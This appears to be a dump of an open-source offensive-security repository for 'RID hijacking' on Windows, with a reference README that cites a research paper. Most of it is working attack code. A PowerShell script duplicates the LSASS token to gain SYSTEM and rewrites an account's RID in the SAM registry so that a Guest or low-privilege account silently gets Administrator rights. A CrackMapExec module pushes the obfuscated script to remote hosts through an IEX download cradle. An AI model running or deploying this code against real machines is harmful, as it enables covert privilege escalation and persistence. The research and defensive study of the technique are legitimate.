[
  {
    "path": "Invoke-RIDHijacking.ps1",
    "content": "#Requires -Version 2\r\n\r\nfunction Invoke-RIDHijacking {\r\n\r\n<#\r\n\r\n.SYNOPSIS\r\nThis script will create an entry on the target by modifying some properties of an existing account.\r\nIt will change the account attributes by setting a Relative Identifier (RID), which should be owned \r\nby one existing account on the destination machine.\r\n\r\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to \r\nauthenticate with one known account credentials (like GUEST account), and access with the privileges \r\nof another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\r\n    \r\nAuthor: Sebastian Castro @r4wd3r. E-mail: r4wd3r@gmail.com. Twitter: @r4wd3r.\r\nLicense: BSD 3-Clause\r\n\r\n.DESCRIPTION\r\nThe RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner\r\nby modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges. \r\n\r\n.PARAMETER User\r\nUser account to use as the hijacker. If -UseGuest, this parameter will be ignored.\r\n\r\n.PARAMETER Password\r\nPassword value to set for the hijacker account.\r\n\r\n.PARAMETER RID \r\nRID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.\r\n\r\n.PARAMETER UseGuest\r\nSet GUEST built-in account as the destination of the privileges to be hijacked.\r\n\r\n.PARAMETER Enable\r\nEnable the hijacker account via registry modification.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500\r\nSet Administrator privileges to alice custom user. \r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1\r\nSet Administrator privileges to alice custom user and set new password for alice.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable\r\nSet Administrator privileges to alice custom user, set new password for alice and enable alice's account.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500\r\nSet Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500 -Password Password1\r\nSet Administrator privileges to Guest Account and setting new password for Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001\r\nSet custom account privileges to Guest Account. A custom local user with RID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001 -Password Password1\r\nSet custom account privileges to Guest Account and set new password for Guest. A custom local user with \r\nRID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable\r\nSet custom account privileges to alice custom user, set new password for alice and enable alice's account. \r\nA custom local user with RID 1002 should exist.\r\n\r\n.NOTES\r\nElevates privileges with LSASS token duplication:\r\nhttps://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980\r\nAccess to local users data stored in registry based on Get-LocalUsersInfo\r\nhttps://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990\r\n\r\n\r\n.LINK\r\nhttps://r4wsec.com/notes/rid_hijacking/\r\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\r\nhttps://github.com/r4wd3r/RID-Hijacking\r\n\r\n#>\r\n  [CmdletBinding()] param(\r\n    [Parameter(Position = 0,Mandatory = $False)]\r\n    [string]\r\n    $User,\r\n\r\n    [string]\r\n    $Password,\r\n\r\n    [switch]\r\n    $UseGuest,\r\n\r\n    [ValidateRange(500,65535)]\r\n    [int]\r\n    $RID = 500,\r\n\r\n    [switch]\r\n    $Enable\r\n  )\r\n\r\n  begin {\r\n    # Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.\r\n    Write-Verbose \"Checking for SYSTEM privileges\"\r\n    if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {\r\n      Write-Output \"[+] Process is already running as SYSTEM\"\r\n    }\r\n    else {\r\n      try {\r\n        Write-Verbose \"Trying to get SYSTEM privileges\"\r\n        Enable-TSDuplicateToken\r\n        Write-Output \"[+] Elevated to SYSTEM privileges\"\r\n      }\r\n      catch {\r\n        throw \"Administrator or SYSTEM privileges are required\"\r\n      }\r\n    }\r\n\r\n    # Obtains the needed registry values for each local user\r\n    $localUsers = Get-UserKeys\r\n    $currentUser = $null\r\n  }\r\n\r\n  process {\r\n\r\n    # Set to currentUser the account to be used as the hijacker.\r\n    Write-Verbose \"Checking users...\"\r\n    if ($UseGuest) {\r\n      $currentUser = $localUsers | Where-Object { $_.RID -eq 501 }\r\n    }\r\n    else {\r\n      if ($User) {\r\n        $currentUser = $localUsers | Where-Object { $_.UserName -contains $User }\r\n      }\r\n    }\r\n\r\n    # Verifies if the entered account exists.\r\n    if ($currentUser) {\r\n      \"[+] Found {0} account\" -f ($currentUser.UserName)\r\n      \"[+] Target account username: {0}\" -f $currentUser.UserName\r\n      \"[+] Target account RID: {0}\" -f $currentUser.RID\r\n    }\r\n    else {\r\n      throw \"User does not exists in system\"\r\n    }\r\n\r\n    # Creates a copy of the user's F REG_BINARY with requested modifications\r\n    $FModified = New-Object Byte[] $currentUser.F.length\r\n    for ($i = 0; $i -lt $currentUser.F.length; $i++) {\r\n      if ($Enable -and ($i -eq 56)) {\r\n        $FModified[$i] = 20\r\n        continue\r\n      }\r\n      # Sets the new RID in the F REG_BINARY copy\r\n      if ($RID -and ($i -eq 48)) {\r\n        $hexRid = [byte[]][BitConverter]::GetBytes($RID)\r\n        $FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]\r\n        $i++\r\n        continue\r\n      }\r\n      $FModified[$i] = $currentUser.F[$i]\r\n    }\r\n\r\n    \"[*] Current RID value in F for {0}: {1:x2}{2:x2}\" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])\r\n    \"[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} \" -f ($currentUser.UserName,$FModified[49],$FModified[48])\r\n\r\n    # Writes changes to Registry\r\n    $fPath = \"HKLM:\\SAM\\SAM\\Domains\\Account\\Users\\{0:x8}\" -f $currentUser.RID\r\n\r\n    try {\r\n      Write-Verbose \"Writing changes to registry: $fPath\"\r\n      Set-ItemProperty -Path $fPath -Name F -Value $FModified\r\n    }\r\n    catch {\r\n      throw \"Error writing in registry. Path: $fPath\"\r\n    }\r\n\r\n    if ($Enable) {\r\n      Write-Output \"[+] Account has been enabled\"\r\n    }\r\n\r\n    if ($Password) {\r\n      Write-Output \"[*] Setting password to user...\"\r\n      net user $currentUser.UserName $Password\r\n      Write-Output \"[+] Password set to $Password\"\r\n    }\r\n    \"[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}\" -f ($currentUser.UserName,$currentUser.RID)\r\n  }\r\n}\r\n\r\nfunction Get-UserName ([byte[]]$V) {\r\n  if (-not $V) { return $null };\r\n  $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;\r\n  $len = [BitConverter]::ToInt32($V[0x10..0x13],0);\r\n  return [Text.Encoding]::Unicode.GetString($V,$offset,$len);\r\n}\r\n\r\nfunction Get-UserKeys {\r\n  Get-ChildItem HKLM:\\SAM\\SAM\\Domains\\Account\\Users |\r\n  Where-Object { $_.PSChildName -match \"^[0-9A-Fa-f]{8}$\" } |\r\n  Add-Member AliasProperty KeyName PSChildName -Passthru |\r\n  Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue(\"V\")) } -Passthru |\r\n  Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |\r\n  Add-Member ScriptProperty F { [byte[]]($this.GetValue(\"F\")) } -Passthru |\r\n  Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue(\"F\")[0x30..0x34],0) } -Passthru\r\n}\r\n\r\nfunction Enable-TSDuplicateToken {\r\n\r\n  $signature = @\"\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n     public struct TokPriv1Luid\r\n     {\r\n         public int Count;\r\n         public long Luid;\r\n         public int Attr;\r\n     }\r\n\r\n    public const int SE_PRIVILEGE_ENABLED = 0x00000002;\r\n    public const int TOKEN_QUERY = 0x00000008;\r\n    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;\r\n    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;\r\n\r\n    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;\r\n    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;\r\n    public const UInt32 TOKEN_DUPLICATE = 0x0002;\r\n    public const UInt32 TOKEN_IMPERSONATE = 0x0004;\r\n    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;\r\n    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;\r\n    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;\r\n    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;\r\n    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);\r\n    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\r\n      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\r\n      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\r\n      TOKEN_ADJUST_SESSIONID);\r\n\r\n    public const string SE_TIME_ZONE_NAMETEXT = \"SeTimeZonePrivilege\";\r\n    public const int ANYSIZE_ARRAY = 1;\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID\r\n    {\r\n      public UInt32 LowPart;\r\n      public UInt32 HighPart;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID_AND_ATTRIBUTES {\r\n       public LUID Luid;\r\n       public UInt32 Attributes;\r\n    }\r\n\r\n\r\n    public struct TOKEN_PRIVILEGES {\r\n      public UInt32 PrivilegeCount;\r\n      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]\r\n      public LUID_AND_ATTRIBUTES [] Privileges;\r\n    }\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int\r\n        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);\r\n\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n    [return: MarshalAs(UnmanagedType.Bool)]\r\n    public static extern bool SetThreadToken(\r\n      IntPtr PHThread,\r\n      IntPtr Token\r\n    );\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError=true)]\r\n     [return: MarshalAs(UnmanagedType.Bool)]\r\n      public static extern bool OpenProcessToken(IntPtr ProcessHandle, \r\n       UInt32 DesiredAccess, out IntPtr TokenHandle);\r\n\r\n    [DllImport(\"advapi32.dll\", SetLastError = true)]\r\n    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);\r\n\r\n    [DllImport(\"kernel32.dll\", ExactSpelling = true)]\r\n    public static extern IntPtr GetCurrentProcess();\r\n\r\n    [DllImport(\"advapi32.dll\", ExactSpelling = true, SetLastError = true)]\r\n     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,\r\n     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);\r\n\"@\r\n\r\n  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())\r\n  if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {\r\n    throw \"Run the Command as an Administrator\"\r\n    break\r\n  }\r\n\r\n  Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv\r\n  $adjPriv = [AdjPriv.AdjPriv]\r\n  [long]$luid = 0\r\n\r\n  $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid\r\n  $tokPriv1Luid.Count = 1\r\n  $tokPriv1Luid.Luid = $luid\r\n  $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED\r\n\r\n  $retVal = $adjPriv::LookupPrivilegeValue($null,\"SeDebugPrivilege\",[ref]$tokPriv1Luid.Luid)\r\n\r\n  [IntPtr]$htoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)\r\n\r\n\r\n  $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES\r\n  $retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)\r\n\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n    break\r\n  }\r\n\r\n  $process = (Get-Process -Name lsass)\r\n  [IntPtr]$hlsasstoken = [IntPtr]::Zero\r\n  $retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)\r\n\r\n  [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero\r\n  $retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)\r\n\r\n  $retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)\r\n  if (-not ($retVal)) {\r\n    [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\r\n  }\r\n}\r\n"
  },
  {
    "path": "README.md",
    "content": "# RID Hijacking: Maintaining Access on Windows Machines\n[![Arsenal](https://github.com/toolswatch/badges/blob/master/arsenal/usa/2018.svg)](https://www.toolswatch.org/2018/05/black-hat-arsenal-usa-2018-the-w0w-lineup/)\n\nThe **RID Hijacking** hook, applicable to all Windows versions, allows setting desired privileges to an existent account in a stealthy manner by modifying some security attributes of an user.\n\nBy only using OS resources, it is possible to replace the RID of an user right before the primary access token is created, allowing to spoof the privileges of the hijacked RID owner.\n\n## Modules\n- [RID Hijacking with Metasploit](https://github.com/r4wd3r/RID-Hijacking/tree/master/modules/metasploit)\n- [RID Hijacking with Powershell](https://github.com/r4wd3r/RID-Hijacking/tree/master/modules/powershell)\n- [RID Hijacking with Empire](https://github.com/r4wd3r/RID-Hijacking/tree/master/modules/empire)\n- [RID Hijacking with Crackmapexec](https://github.com/r4wd3r/RID-Hijacking/tree/master/modules/cme)\n- [RID Hijacking with ibombshell](https://github.com/r4wd3r/RID-Hijacking/tree/master/modules/ibombshell)\n\n## Paper\n[ACM CCS Checkmate 24. Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts](https://dl.acm.org/doi/10.1145/3689934.3690839)\n```\n@inproceedings{10.1145/3689934.3690839,\nauthor = {Castro, Sebasti\\'{a}n R. and C\\'{a}rdenas, Alvaro A.},\ntitle = {Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts},\nyear = {2024},\nisbn = {9798400712302},\npublisher = {Association for Computing Machinery},\naddress = {New York, NY, USA},\nurl = {https://doi.org/10.1145/3689934.3690839},\ndoi = {10.1145/3689934.3690839},\npages = {59–72},\nnumpages = {14}}\n```\n\n## Slides\n[Derbycon 8.0](https://github.com/r4wd3r/RID-Hijacking/blob/master/slides/derbycon-8.0/RID_HIJACKING_DERBYCON_2018.pdf)\n\n## References\n\n[r4wsecurity: RID Hijacking - Maintaining access on Windows Machines](https://r4wsec.com/notes/rid_hijacking/)\n"
  },
  {
    "path": "modules/cme/README.md",
    "content": "# Windows RID Hijacking with CrackMapExec\n\n## Module Testing\nThe module `Invoke-RIDHijacking` is compatible with Powershell >=2.0. It requires administrative privileges to be executed. \n\nThis module has been tested against:\n\n- Windows XP, 2003. (32 bits)\n- Windows 8.1 Pro. (64 bits)\n- Windows 10. (64 bits)\n- Windows Server 2012. (64 bits)\n\n## Module options\n\n![cme_module_options](https://user-images.githubusercontent.com/14118912/53310153-985de780-3879-11e9-9d64-444bec528231.PNG)\n\n## Execution\n\n1. Authenticate with the _unprivileged_ local user account. Login success but without privileges.\n2. Set the _Administrator built-in_ account default **RID (500)** to the _unprivileged_ local user account\n3. Authenticate again with _unprivileged_ local user account. Now it has _Administrator_ privileges.\n\n![cme_demo](https://user-images.githubusercontent.com/14118912/53310164-a6ac0380-3879-11e9-91e5-9e198e998d21.PNG)\n\n## References\nhttps://github.com/r4wd3r/RID-Hijacking\n\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\n\nhttps://r4wsec.com/notes/rid_hijacking/\n"
  },
  {
    "path": "modules/cme/modules/rid_hijack.py",
    "content": "from cme.helpers.powershell import *\nfrom cme.helpers.logger import write_log, highlight\nfrom datetime import datetime\nfrom StringIO import StringIO\nimport re\n\nclass CMEModule:\n    '''\n        Executes Invoke-RIDhijacking.ps1 allowing to set desired privileges to an existent local account by modifying the Relative Identifier value copy used to create the access token\n        Module by Sebastian Castro @r4wd3r\n    '''\n\n    name = 'rid_hijack'\n    description = \"Executes the RID hijacking persistence hook.\"\n    supported_protocols = ['smb', 'mssql']\n    opsec_safe = True\n    multiple_hosts = True\n\n    def options(self, context, module_options):\n        '''\n            RID             RID to set to the specified account. Default 500.\n            USER            User to set the defined RID.\n            USEGUEST        Boolean. Set the defined RID to the Guest account.\n            PASSWORD        Password to set to the defined account.\n            ENABLE          Boolean. Enable the defined account.\n        '''\n\n        self.rid = 500\n        self.user = None\n        self.password = None\n        self.useguest = False\n        self.enable = False\n        \n        if 'RID' in module_options:\n            self.rid = int(module_options['RID'])\n        if 'USER' in module_options:\n            self.user = str(module_options['USER'])\n        if 'PASSWORD' in module_options:\n            self.password = str(module_options['PASSWORD'])\n        if 'USEGUEST' in module_options:\n            self.useguest = True\n        if 'ENABLE' in module_options:\n            self.enable = True\n\n        self.ps_script1 = obfs_ps_script('RID-Hijacking/Invoke-RIDHijacking.ps1')\n\n    def on_admin_login(self, context, connection):\n        command = 'Invoke-RIDHijacking'\n        command += ' -RID ' + str(self.rid)\n        if self.user:\n            command += ' -User ' + self.user\n        if self.password:\n            command += ' -Password ' + self.password\n        if self.useguest:\n            command += ' -UseGuest '\n        if self.enable:\n            command += ' -Enable '\n\n        launcher = gen_ps_iex_cradle(context, 'Invoke-RIDHijacking.ps1', command)\n        connection.ps_execute(launcher)\n        context.log.success('Executed launcher')\n\n    def on_request(self, context, request):\n        if 'Invoke-RIDHijacking.ps1' == request.path[1:]:\n            request.send_response(200)\n            request.end_headers()\n\n            request.wfile.write(self.ps_script1)\n\n        else:\n            request.send_response(404)\n            request.end_headers()\n\n    def on_response(self, context, response):\n        response.send_response(200)\n        response.end_headers()\n        length = int(response.headers.getheader('content-length'))\n        data = response.rfile.read(length)\n\n        response.stop_tracking_host()\n\n        if len(data):\n            context.log.success('Invoke-RIDHijacking executed successfully')\n            buf = StringIO(data.strip()).readlines()\n\n            for line in buf:\n                output = filter(None, re.split(r'(?:\\s*\\[.\\]\\s)', line.strip()))\n                for o in output:\n                    context.log.highlight(o)\n"
  },
  {
    "path": "modules/empire/README.md",
    "content": "# Windows RID Hijacking with Empire\n\n## Module Testing\nThe module `Invoke-RIDHijacking` is compatible with Powershell >=2.0. It requires a previous agent with administrative privileges. \n\nThis module has been tested against:\n\n- Windows XP, 2003. (32 bits)\n- Windows 8.1 Pro. (64 bits)\n- Windows 10. (64 bits)\n- Windows Server 2012. (64 bits)\n\n## Execution\n\n![12](https://user-images.githubusercontent.com/14118912/52924244-efa00d00-32f9-11e9-9810-95a687393fd9.png)\n\n## References\nhttps://github.com/r4wd3r/RID-Hijacking\n\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\n\nhttps://r4wsec.com/notes/rid_hijacking/\n"
  },
  {
    "path": "modules/empire/data/module_source/persistence/Invoke-RIDHijacking.ps1",
    "content": "#Requires -Version 2\r\n\r\nfunction Invoke-RIDHijacking {\r\n\r\n<#\r\n\r\n.SYNOPSIS\r\nThis script will create an entry on the target by modifying some properties of an existing account.\nIt will change the account attributes by setting a Relative Identifier (RID), which should be owned \nby one existing account on the destination machine.\n\nTaking advantage of some Windows Local Users Management integrity issues, this module will allow to \r\nauthenticate with one known account credentials (like GUEST account), and access with the privileges \r\nof another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.\r\n    \r\nAuthor: Sebastian Castro @r4wd3r. E-mail: r4wd3r@gmail.com. Twitter: @r4wd3r.\r\nLicense: BSD 3-Clause\r\n\r\n.DESCRIPTION\r\nThe RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner\r\nby modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges. \r\n\r\n.PARAMETER User\r\nUser account to use as the hijacker. If -UseGuest, this parameter will be ignored.\r\n\r\n.PARAMETER Password\r\nPassword value to set for the hijacker account.\r\n\r\n.PARAMETER RID \r\nRID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.\r\n\r\n.PARAMETER UseGuest\r\nSet GUEST built-in account as the destination of the privileges to be hijacked.\r\n\r\n.PARAMETER Enable\r\nEnable the hijacker account via registry modification.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500\r\nSet Administrator privileges to alice custom user. \r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1\r\nSet Administrator privileges to alice custom user and set new password for alice.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable\r\nSet Administrator privileges to alice custom user, set new password for alice and enable alice's account.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500\r\nSet Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 500 -Password Password1\r\nSet Administrator privileges to Guest Account and setting new password for Guest.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001\r\nSet custom account privileges to Guest Account. A custom local user with RID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -UseGuest -RID 1001 -Password Password1\r\nSet custom account privileges to Guest Account and set new password for Guest. A custom local user with \r\nRID 1001 should exist.\r\n\r\n.EXAMPLE\r\nInvoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable\r\nSet custom account privileges to alice custom user, set new password for alice and enable alice's account. \r\nA custom local user with RID 1002 should exist.\r\n\r\n.NOTES\r\nElevates privileges with LSASS token duplication:\r\nhttps://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980\r\nAccess to local users data stored in registry based on Get-LocalUsersInfo\r\nhttps://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990\r\n\r\n\r\n.LINK\r\nhttps://csl.com.co/rid-hijacking/\r\nhttps://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html\r\nhttps://github.com/r4wd3r/RID-Hijacking\r\n\r\n#>\r\n  [CmdletBinding()] param(\r\n    [Parameter(Position = 0,Mandatory = $False)]\r\n    [string]\r\n    $User,\r\n\r\n    [string]\r\n    $Password,\r\n\r\n    [switch]\r\n    $UseGuest,\r\n\r\n    [ValidateRange(500,65535)]\r\n    [int]\r\n    $RID = 500,\r\n\r\n    [switch]\r\n    $Enable\r\n  )\r\n\r\n  begin {\r\n    # Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.\r\n    Write-Verbose \"Checking for SYSTEM privileges\"\r\n    if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {\r\n      Write-Output \"[+] Process is already running as SYSTEM\"\r\n    }\r\n    else {\r\n      try {\r\n        Write-Verbose \"Trying to get SYSTEM privileges\"\r\n        Enable-TSDuplicateToken\r\n        Write-Output \"[+] Elevated to SYSTEM privileges\"\r\n      }\r\n      catch {\r\n        throw \"Administrator or SYSTEM privileges are required\"\r\n      }\r\n    }\r\n\r\n    # Obtains the needed registry values for each local user\r\n    $localUsers = Get-UserKeys\r\n    $currentUser = $null\r\n  }\r\n\r\n  process {\r\n\r\n    # Set to currentUser the account to be used as the hijacker.\r\n    Write-Verbose \"Checking users...\"\r\n    if ($UseGuest) {\r\n      $currentUser = $localUsers | Where-Object { $_.RID -eq 501 }\r\n    }\r\n    else {\r\n      if ($User) {\r\n        $currentUser = $localUsers | Where-Object { $_.UserName -contains $User }\r\n      }\r\n    }\r\n\r\n    # Verifies if the entered account exists.\r\n    if ($currentUser) {\r\n      \"[+] Found {0} account\" -f ($currentUser.UserName)\r\n      \"[+] Target account username: {0}\" -f $currentUser.UserName\r\n      \"[+] Target account RID: {0}\" -f $currentUser.RID\r\n    }\r\n    else {\r\n      throw \"User does not exists in system\"\r\n    }\r\n\r\n    # Creates a copy of the user's F REG_BINARY with requested modifications\r\n    $FModified = New-Object Byte[] $currentUser.F.length\r\n    for ($i = 0; $i -lt $currentUser.F.length; $i++) {\r\n      if ($Enable -and ($i -eq 56)) {\r\n        $FModified[$i] = 20\r\n        continue\r\n      }\r\n      # Sets the new RID in the F REG_BINARY copy\r\n      if ($RID -and ($i -eq 48)) {\r\n        $hexRid = [byte[]][BitConverter]::GetBytes($RID)\r\n        $FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]\r\n        $i++\r\n        continue\r\n      }\r\n      $FModified[$i] = $currentUser.F[$i]\r\n    }\r\n\r\n    \"[*] Current RID value in F for {0}: {1:x2}{2:x2}\" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])\r\n    \"[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} \" -f ($currentUser.UserName,$FModified[49],$FModified[48])\r\n\r\n    # Writes changes to Registry\r\n    $fPath = \"HKLM:\\SAM\\SAM\\Domains\\Account\\Users\\{0:x8}\" -f $currentUser.RID\r\n\r\n    try {\r\n      Write-Verbose \"Writing changes to registry: $fPath\"\r\n      Set-ItemProperty -Path $fPath -Name F -Value $FModified\r\n    }\r\n    catch {\r\n      throw \"Error writing in registry. Path: $fPath\"\r\n    }\r\n\r\n    if ($Enable) {\r\n      Write-Output \"[+] Account has been enabled\"\r\n    }\r\n\r\n    if ($Password) {\r\n      Write-Output \"[*] Setting password to user...\"\r\n      net user $currentUser.UserName $Password\r\n      Write-Output \"[+] Password set to $Password\"\r\n    }\r\n    \"[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}\" -f ($currentUser.UserName,$currentUser.RID)\r\n  }\r\n}\r\n\r\nfunction Get-UserName ([byte[]]$V) {\r\n  if (-not $V) { return $null };\r\n  $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;\r\n  $len = [BitConverter]::ToInt32($V[0x10..0x13],0);\r\n  return [Text.Encoding]::Unicode.GetString($V,$offset,$len);\r\n}\r\n\r\nfunction Get-UserKeys {\r\n  Get-ChildItem HKLM:\\SAM\\SAM\\Domains\\Account\\Users |\r\n  Where-Object { $_.PSChildName -match \"^[0-9A-Fa-f]{8}$\" } |\r\n  Add-Member AliasProperty KeyName PSChildName -Passthru |\r\n  Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue(\"V\")) } -Passthru |\r\n  Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |\r\n  Add-Member ScriptProperty F { [byte[]]($this.GetValue(\"F\")) } -Passthru |\r\n  Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue(\"F\")[0x30..0x34],0) } -Passthru\r\n}\r\n\r\nfunction Enable-TSDuplicateToken {\r\n\r\n  $signature = @\"\r\n    [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n     public struct TokPriv1Luid\r\n     {\r\n         public int Count;\r\n         public long Luid;\r\n         public int Attr;\r\n     }\r\n\r\n    public const int SE_PRIVILEGE_ENABLED = 0x00000002;\r\n    public const int TOKEN_QUERY = 0x00000008;\r\n    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;\r\n    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;\r\n\r\n    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;\r\n    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;\r\n    public const UInt32 TOKEN_DUPLICATE = 0x0002;\r\n    public const UInt32 TOKEN_IMPERSONATE = 0x0004;\r\n    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;\r\n    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;\r\n    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;\r\n    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;\r\n    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);\r\n    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\r\n      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\r\n      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\r\n      TOKEN_ADJUST_SESSIONID);\r\n\r\n    public const string SE_TIME_ZONE_NAMETEXT = \"SeTimeZonePrivilege\";\r\n    public const int ANYSIZE_ARRAY = 1;\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID\r\n    {\r\n      public UInt32 LowPart;\r\n      public UInt32 HighPart;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    public struct LUID_AND_ATTRIBUTES {\r\n       public LUID Luid;\r\n       public UInt32 